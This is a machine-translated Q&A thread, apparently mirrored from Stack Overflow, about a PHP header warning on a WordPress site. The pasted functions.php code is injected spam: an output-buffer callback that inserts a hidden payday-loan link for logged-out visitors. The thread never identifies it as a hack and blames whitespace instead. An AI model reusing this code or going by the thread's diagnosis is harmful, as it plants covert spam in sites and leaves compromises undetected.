无法修改标题信息错误-PHP

无法修改标题信息错误-PHP,php,header,Php,Header,可能重复: 我一直在努力为我的一个朋友修复PlayHawaiIsocket.com上的错误。不幸的是,这个错误超出了我的能力。我得到的错误如下: “警告:无法修改标题信息-标题已由第865行/home/content/72/8966572/html/wp content/themes/LeanBiz/functions.php:1)中的/home/content/72/8966572/html/wp includes/pluggable.php发送” 如果我理解正确,我将在pluggable.

可能重复:

我一直在努力为我的一个朋友修复PlayHawaiIsocket.com上的错误。不幸的是,这个错误超出了我的能力。我得到的错误如下:

“警告:无法修改标题信息-标题已由第865行/home/content/72/8966572/html/wp content/themes/LeanBiz/functions.php:1)中的/home/content/72/8966572/html/wp includes/pluggable.php发送”

如果我理解正确,我将在pluggable.php文件中第二次发送头。下面是每个文件的代码。任何帮助都将不胜感激

Functions.php第1行:

<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if     (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);}    </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?> 
提前感谢您的帮助

确保该文件末尾有


如果在这些标记之外有任何字符(whitspace或其他),PHP会将它们与http头一起发送,因此稍后header命令将失败。

还有许多其他相关问题。输出已经被发送到浏览器,在这种情况下,标题无法更改。还有大约一百万其他的。右边的边栏很好地显示了前太多的内容。边栏确实很有说服力。请确保页眉前不回显任何内容,如空格,并且您的页面不能像UTF那样编码
function wp_redirect($location, $status = 302) {
global $is_IIS;

$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);

if ( !$location ) // allows the wp_redirect filter to cancel a redirect
    return false;

$location = wp_sanitize_redirect($location);

if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
    status_header($status); // This causes problems on IIS and some FastCGI setups

header("Location: $location", true, $status);}